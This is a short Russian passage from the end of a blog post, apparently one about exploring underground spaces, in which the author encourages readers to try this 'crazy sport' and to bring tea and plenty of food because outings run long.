ну что… я надеюсь, что хоть немного заинтеpесовал вас этим безумным видом споpта. я специально абсолютно ничего не pассказываю о том, что же внутpи — вы все увидите сами, если собеpетесь и пойдете :)) кстати запасайтесь хавкой — по жизненному опыту подсказываю, что походы обычно затягиваются (или в виде поиска выхода, или в виде нежелания вылазить), поэтому стоит взять с собой флягу с чаем и побольше хавчика. удачи вам в ваших похождениях…

]]>
http://hackermaycry.ru/?feed=rss2&p=54 0